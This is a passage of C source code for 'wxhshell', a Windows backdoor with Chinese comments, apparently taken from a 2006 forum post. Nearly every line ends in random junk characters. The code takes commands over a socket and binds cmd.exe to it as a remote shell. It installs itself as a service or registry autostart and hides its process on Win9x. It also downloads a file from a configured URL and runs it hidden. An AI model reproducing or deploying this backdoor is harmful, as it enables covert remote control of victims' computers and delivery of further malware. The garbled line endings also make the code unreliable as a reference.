  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RtO3!dGT.  
  } &W+lwEu  
  else { v3PtiKS  
BbsgZ4  
    switch(cmd[0]) { 55q!2>Jh.  
  Q]$gw,H"6  
  // 帮助 E6JfSH#  
  case '?': { 5.! OC5tO  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #{K}o}  
    break; 0)F.Y,L  
  } '5V} Z3zJ/  
  // 安装 ?1w{lz(P  
  case 'i': { \kWL:uU  
    if(Install()) iMjoa tt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (+uM |a  
    else PkX4 !  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |ecK~+  
    break; 0,~||H{  
    } kb3>q($  
  // 卸载 +q n[F70}  
  case 'r': { _E'F   
    if(Uninstall()) _|+}4 ap  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /Js A[}.6  
    else kZ<0|b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yX 9 .yq  
    break; E{s p  
    } la4 #2>#WZ  
  // 显示 wxhshell 所在路径 S:B$c>  
  case 'p': { q8A;%.ZLG  
    char svExeFile[MAX_PATH]; f euATL]  
    strcpy(svExeFile,"\n\r"); ,Tp:. "  
      strcat(svExeFile,ExeFile); 8u8-:c%{  
        send(wsh,svExeFile,strlen(svExeFile),0); k_;g-r,  
    break; q)j b9e   
    } m.F}9HI%hN  
  // 重启 +pUG6.j%  
  case 'b': { W4Z8U0co  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); mR,w~wP  
    if(Boot(REBOOT)) {E=BFs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9K!kU6Gh  
    else { .`p,pt;  
    closesocket(wsh); _E %!5u  
    ExitThread(0); La>fvm  
    } {%wF*?gk  
    break; =hRo#]{(K  
    } %_Q+@9  
  // 关机 CP0;<}k  
  case 'd': { [nc-~T+Mo  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ca=sc[ $+  
    if(Boot(SHUTDOWN)) R?{f:,3R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r=6N ZoZ  
    else { <+y%k~("  
    closesocket(wsh); mH.c`*  
    ExitThread(0); i?wEd!=w  
    } T.(C`/VM  
    break; A_e&#O  
    } /a,"b8  
  // 获取shell 2# 72B  
  case 's': { o|G'vMph  
    CmdShell(wsh); $^:s)Yv  
    closesocket(wsh); Qm_IU!b  
    ExitThread(0); WOg pDs  
    break; 2dsXG$-W2  
  } f9K+o-P.h  
  // 退出 7 D(Eo{ue  
  case 'x': { KvjsibI/Y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2Tp @;[!3  
    CloseIt(wsh); zMke}2  
    break; FEH+ PKSc  
    } |)VNf .aJZ  
  // 离开 B>}B{qi|  
  case 'q': { XX7zm_>+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); C'~E q3  
    closesocket(wsh); lVv'_9yg  
    WSACleanup(); YsO3( HS  
    exit(1); |.*nq  
    break; GIb,y,PDB  
        } ARUzEo gcf  
  } e0<Wed  
  } ;fW`#aE  
BOfl hoUX  
  // 提示信息 y(ceEV  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 23d*;ri5  
} E- jJ!>&K  
  } jl>jy6T  
0fGt7 "Q  
  return; xX?9e3(  
} d>gQgQ;g  
E4$y|Ni"  
// shell模块句柄 !J&UO/q.  
int CmdShell(SOCKET sock) IG.!M@_  
{ HTLS$o;Q  
STARTUPINFO si; .[r1Qz7G  
ZeroMemory(&si,sizeof(si)); 1l5'N=hL  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l(Ya,/4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (: P#l&f  
PROCESS_INFORMATION ProcessInfo; A("\m>g$b  
char cmdline[]="cmd"; ?[]jJ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); wP7 E8'  
  return 0; =pZ$oTR  
} X2|&\G9c  
\3&1iA9=)  
// 自身启动模式 6d`qgEM3  
int StartFromService(void) "!Qi$ ]  
{ j.!5&^;u4  
typedef struct SoWMP2/  
{ n-9a 0_{k  
  DWORD ExitStatus; uZTbJ3$$  
  DWORD PebBaseAddress; 2KlVj]!7  
  DWORD AffinityMask; &^`[$LtYd  
  DWORD BasePriority; shD4";8*@  
  ULONG UniqueProcessId; B)*1[Jf{4  
  ULONG InheritedFromUniqueProcessId; :9DyABK=Cv  
}   PROCESS_BASIC_INFORMATION; \JC_"gqt  
2 g~W})e  
PROCNTQSIP NtQueryInformationProcess; 75pn1*"gQ  
EQe$~}[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Sd F+b+P]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7g5Pc_  
cA+T-A]  
  HANDLE             hProcess; l)e6*sDZ,  
  PROCESS_BASIC_INFORMATION pbi; 6?ky~CV  
Fh/psd  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); AC\y|X8-  
  if(NULL == hInst ) return 0; o5['5?i}/  
;eJ|) *  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &_q8F,I \<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (}5};v  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); mPF<2:)wv  
 9mW   
  if (!NtQueryInformationProcess) return 0; {e$ @i  
ykRd+H-t  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `,O"^zR)z  
  if(!hProcess) return 0; VnqcpJ  
?E,-P!&R  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Scug wSB  
3&I3ViAH  
  CloseHandle(hProcess); Rh!m1Q(-  
2Lytk OMf  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <isU D6TC  
if(hProcess==NULL) return 0; ._]*Y`5)d  
m70AWG  
HMODULE hMod; .+mP#<mAg  
char procName[255]; odDVdVx0  
unsigned long cbNeeded; 8>G5VhCm~o  
ex#-,;T  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <`WDNi$Y  
 Ci 'V  
  CloseHandle(hProcess); 7xM4=\~OG  
:]4s;q:m  
if(strstr(procName,"services")) return 1; // 以服务启动 IA Ws}xIly  
k& M~yb  
  return 0; // 注册表启动 XI:+EeM?  
} JC`;hY  
2I3H?Lrx!m  
// 主模块 f*:N*cC  
int StartWxhshell(LPSTR lpCmdLine) wy^mh.= UX  
{ /l$fQ:l  
  SOCKET wsl; mG1!~}[  
BOOL val=TRUE; l*(L"]  
  int port=0; BUdO:fr  
  struct sockaddr_in door; } @ [!%hE  
AQtOTT$  
  if(wscfg.ws_autoins) Install(); 2kOaKH[(q  
 k{'<J(Hb  
port=atoi(lpCmdLine); OJ7 Uh_;/  
L8Q/!+K  
if(port<=0) port=wscfg.ws_port; o6RT4`  
x[fp7*TiG  
  WSADATA data; 7L!}F;yT  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0$NzRPbH  
nTw:BU4jd  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Bp5 %&T k  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); t<"`gM^|  
  door.sin_family = AF_INET; j+>[~c;0)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -tx%#(?wH  
  door.sin_port = htons(port); c (29JZ  
Zx`/88!x[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~.6% %1?  
closesocket(wsl); c}!`tBTm  
return 1; g6xQQ,q=l  
} H@1qU|4  
-GCU6U|  
  if(listen(wsl,2) == INVALID_SOCKET) { R5mb4  
closesocket(wsl); V6+:g=@U-l  
return 1; 4jlwu0L+  
} BpGyjo J2  
  Wxhshell(wsl); tk)}4b^\%j  
  WSACleanup(); V3T.EW  
h#Mx(q  
return 0; C?MKb D=K  
zlB[Eg^X  
} v9!] /]U^  
*>!-t   
// 以NT服务方式启动 1H\5E~X   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ted tmX$  
{ <WbO&;%  
DWORD   status = 0; S;/pm$?/  
  DWORD   specificError = 0xfffffff; !]9qQ7+R%  
TwF.UL@G%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ONZ(0H{ 1$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Bs|#7mA[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4#t=%}  
  serviceStatus.dwWin32ExitCode     = 0; o.Bbb=*rZ  
  serviceStatus.dwServiceSpecificExitCode = 0; D><^7nr%  
  serviceStatus.dwCheckPoint       = 0; -O r\  
  serviceStatus.dwWaitHint       = 0; dj4a)p|YN  
Ef@)y&hn  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); eYn/F~5-  
  if (hServiceStatusHandle==0) return; 1(_[awBx  
?%lfbZ  
status = GetLastError(); IL uQf-  
  if (status!=NO_ERROR) (=Oo=8\  
{ Y4lNxvY  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !aJ6Uf%R  
    serviceStatus.dwCheckPoint       = 0; ]l3Y=Cl  
    serviceStatus.dwWaitHint       = 0; g&Uu~;jq]  
    serviceStatus.dwWin32ExitCode     = status; gKmF#Z"\  
    serviceStatus.dwServiceSpecificExitCode = specificError; YN7O Qqa  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~]9EhC'l  
    return; *y` (^kyS  
  } f)V6VNW.3  
Q4Qf/q;U  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +D[C.is>]}  
  serviceStatus.dwCheckPoint       = 0; 5`lVC$cP  
  serviceStatus.dwWaitHint       = 0; 0zsmZ]b5E  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); wbk$(P'gN  
} obv_?i1  
(yeWArQ  
// 处理NT服务事件,比如:启动、停止 ELg$tc  
VOID WINAPI NTServiceHandler(DWORD fdwControl) sXT8jLIf  
{ +tG'  
switch(fdwControl) 7{k?" NF  
{ S!^I<#d K  
case SERVICE_CONTROL_STOP: Po.by~|  
  serviceStatus.dwWin32ExitCode = 0; Z Y5Pf 1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Y:Jgr&*,z  
  serviceStatus.dwCheckPoint   = 0; 6\VZ 6oS  
  serviceStatus.dwWaitHint     = 0; W@%g_V}C*  
  { _Kh8 <$h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wSdiF-ue  
  } 7 <K=G2_:  
  return; _fHj8- s/  
case SERVICE_CONTROL_PAUSE: _?K,Jc8j.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; mgodvX  
  break; SP>&+5AydX  
case SERVICE_CONTROL_CONTINUE: )t:8;;W@Ir  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =+[` 9  
  break; T&:~=  
case SERVICE_CONTROL_INTERROGATE: i'1 MZ%.  
  break; *<h)q)HS  
}; 8.7lc2aX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k @gQY_  
} EN8xn9M?  
?V(+Cc  
// 标准应用程序主函数 6 .[3N~pq  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >LPIvmT4D?  
{ >9yy91H  
glBS|b$\:  
// 获取操作系统版本 R:f ,g2  
OsIsNt=GetOsVer(); :oiHf:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %&s4YD/{  
{K:] dO  
  // 从命令行安装 &;<'AF  
  if(strpbrk(lpCmdLine,"iI")) Install(); qG]0z_dPE~  
O.8k [Ht  
  // 下载执行文件 >Nx4 +|  
if(wscfg.ws_downexe) { : JSuC  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) CT'#~~QB  
  WinExec(wscfg.ws_filenam,SW_HIDE); CW.T`F  
} i|28:FJA  
Y n0iu$;n  
if(!OsIsNt) { Az:A,;~+,!  
// 如果时win9x,隐藏进程并且设置为注册表启动 x,fL656t  
HideProc(); rfr]bq5  
StartWxhshell(lpCmdLine); o1-_BlZ  
} ,3!4 D^  
else E@AV?@<sc  
  if(StartFromService()) ,K|UUosS-#  
  // 以服务方式启动 8`90a\t'Z  
  StartServiceCtrlDispatcher(DispatchTable); wyLyPJv  
else ^ohIJcI-  
  // 普通方式启动 I8YCXh  
  StartWxhshell(lpCmdLine); . lNf.x#u  
k~fH:X~x  
return 0; e{ *yV#Wl  
}
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只看该作者 1 发表于: 2006-10-10
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